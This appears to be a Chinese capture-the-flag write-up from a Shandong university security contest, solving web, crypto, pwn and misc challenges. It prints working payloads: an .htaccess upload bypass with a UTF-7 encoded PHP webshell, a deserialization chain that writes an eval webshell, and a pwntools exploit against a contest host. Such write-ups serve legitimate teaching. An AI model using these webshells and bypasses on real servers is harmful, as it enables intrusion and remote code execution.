第六届山东省大学生电子设计大赛——网络安全技能竞赛

WriteUp 1个月前 admin
107 0 0



第六届山东省大学生电子设计大赛——网络安全技能竞赛

Web

upload_100     --by M1mikatz

一个文件上传,只能上传 .htaccess:

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223112409010

并且对文件内容进行过滤。并且upload目录下面没有php文件,因此考虑将 .htaccess 解析为 php文件使用。

注意,题目似乎对上传文件的尺寸做了限制,需要在 .htaccess 开头定义好大小。别问为什么,试出来的。。。。。。

#define width 1337#define height 1337
第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223115424705

需要先在 .htaccess 里面设置允许访问 .htaccess 文件,否则是直接访问 .htaccess 文件是Forbidden的:

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>

然后再设置将 .htaccess 指定当做 PHP 文件处理并解析:

SetHandler application/x-httpd-php# <?=system($_POST[whoami]);?>

最终 .htaccess 文件里面的内容为:

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-php# <?=system($_POST[whoami]);?>

但是文件内容过滤了很多关键字,并且 <?= 也被过滤了,我们可以使用  UTF-7 编码绕过,即:

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-phpphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4

然后使用 `` 加换行绕过其他的关键字,最终的payload如下:

#define width 1337#define height 1337<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-phpphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4

然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码:

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223115453345

pop_200   --by M1mikatz

很简单一反序列化,php 5 的环境,直接用成员数绕过 __wakeup,然后写webshell即可:

<?phperror_reporting(0);
class File_operations { protected $filename='/var/www/html/shell.php';}
class Show_index { public $filepage;}
class Exception_process { public $arg;}

class Transfer { public $method; private $parameter = "<?php eval($_POST[a]);";}
$poc = new Show_index();$poc->filepage = new Transfer();$poc->filepage->method = new Transfer();$poc->filepage->method->method = new File_operations();echo urlencode(serialize($poc));

Crypto

签到

1. 使用html解码,发现base64编码

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

2. 使用base64解码解出一个字符串和一个key

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

3. 使用维吉尼亚解码

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

4. 再使用rot13解码解出flag

第二轮签到题

*1.使用base64解密解出第一次解码*

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

接着还是用base64第二次解码

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

再使用base64第三次解码出flag

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

Crypto (MT)

 from Crypto.Util.number import * 

flag = getPrime(32) def init(flag): s = [0] * 100 s[0] = flag for i in range(1, 100): s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i) return s
state = init(flag) def enc(y): y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18 return y&0xffffffff
c = enc(state[-1]) print(c)
#1047573452

观察题⽬给出的脚本,可以看到经过了复杂的与和异或运算,涉及到与运算如果要还原只能爆破,但

是过程如此复杂,显然不可能让我们在短时间内去判断bit之间的关系。观察到flag仅仅是32位的素

数,因此可以爆破。正序和逆序同时爆破,最多20分钟可以得出结果

 # -*-coding:utf-8-*- 
from Crypto.Util.number import * import gmpy2 import tqdm

def init(flag): s = [0] * 100 s[0] = flag9 for i in range(1, 100): s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i) return s def enc(y): y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18
return y & 0xffffffff
range1=pow(2,31) range2=pow(2,32) #逆序 for i in tqdm.trange(range2,range1,-1): #正序 #for i in tqdm.trange(range1,range2): if gmpy2.is_prime(i): sstate = init(i) cc = enc(sstate[-1]) if cc == 1047573452: print(i)
break

最后得到flag为:2412081811

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

PWN-签到

*题目提供了后门函数:*

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

*题目中含栈上任意地址偏移泄露4字节int值:*

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img

*同时含栈上任意地址偏移写4字节int值:*

第六届山东省大学生电子设计大赛——网络安全技能竞赛
img
直接打栈上返回地址为后门函数即可

Exp:
from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug'# r = process('/mnt/hgfs/ubuntu/4/arbitrary')r = remote('60.216.78.58',45721)
def menu(choice): r.recvuntil(b"??????. Shell!") r.sendline(str(choice))

def read(off): menu(1) r.sendline(str(off)) def write(off,value): menu(2) r.sendline(str(off)+" "+str(value)) read(14)r.recvuntil(b'Done! ')codebase = int(r.recvuntil(b'n')[:-1])read(15)r.recvuntil(b'Done! ')
codebase2 = int(r.recvuntil(b'n')[:-1])codebase = codebase2*0x100000000+codebase-0xb17write(-0x2,(codebase+0xa46)&0xffffffff)print(hex(codebase))
r.interactive()

Misc

hacker

147流发现压缩包

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223113950904

分离出来

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223113917010

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223114024688

这是一个蚁剑流量,然后我们解码

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223115020236
第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223114948163
第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223114934075

得到压缩包密码

第六届山东省大学生电子设计大赛——网络安全技能竞赛
image-20221223115039032

0x0 师傅不加个群嘛


第六届山东省大学生电子设计大赛——网络安全技能竞赛

     微信群后台回复获取进群链接


欢迎 点赞 + 在看并分享本公众号 给更多师傅们❤️

----------------往期精选-----------------

美化kali linux

靶场2:从外网到内网【文末抽奖送书咯】

黑客常用的工具之---MSF的使用

隐藏通信隧道技术
PHP反序列化逃逸[入门篇]
树莓派内网穿透总结

文件系统取证分析-卷的效验分析
简单聊一聊对微信小程序渗透测试的思路
信息收集之-你不知道的骚思路
练习内网渗透的时候的一个靶场练习

原文始发于微信公众号(Drt安全战队):第六届山东省大学生电子设计大赛——网络安全技能竞赛

版权声明:admin 发表于 2022年12月23日 下午12:10。
转载请注明:第六届山东省大学生电子设计大赛——网络安全技能竞赛 | CTF导航

相关文章

暂无评论

暂无评论...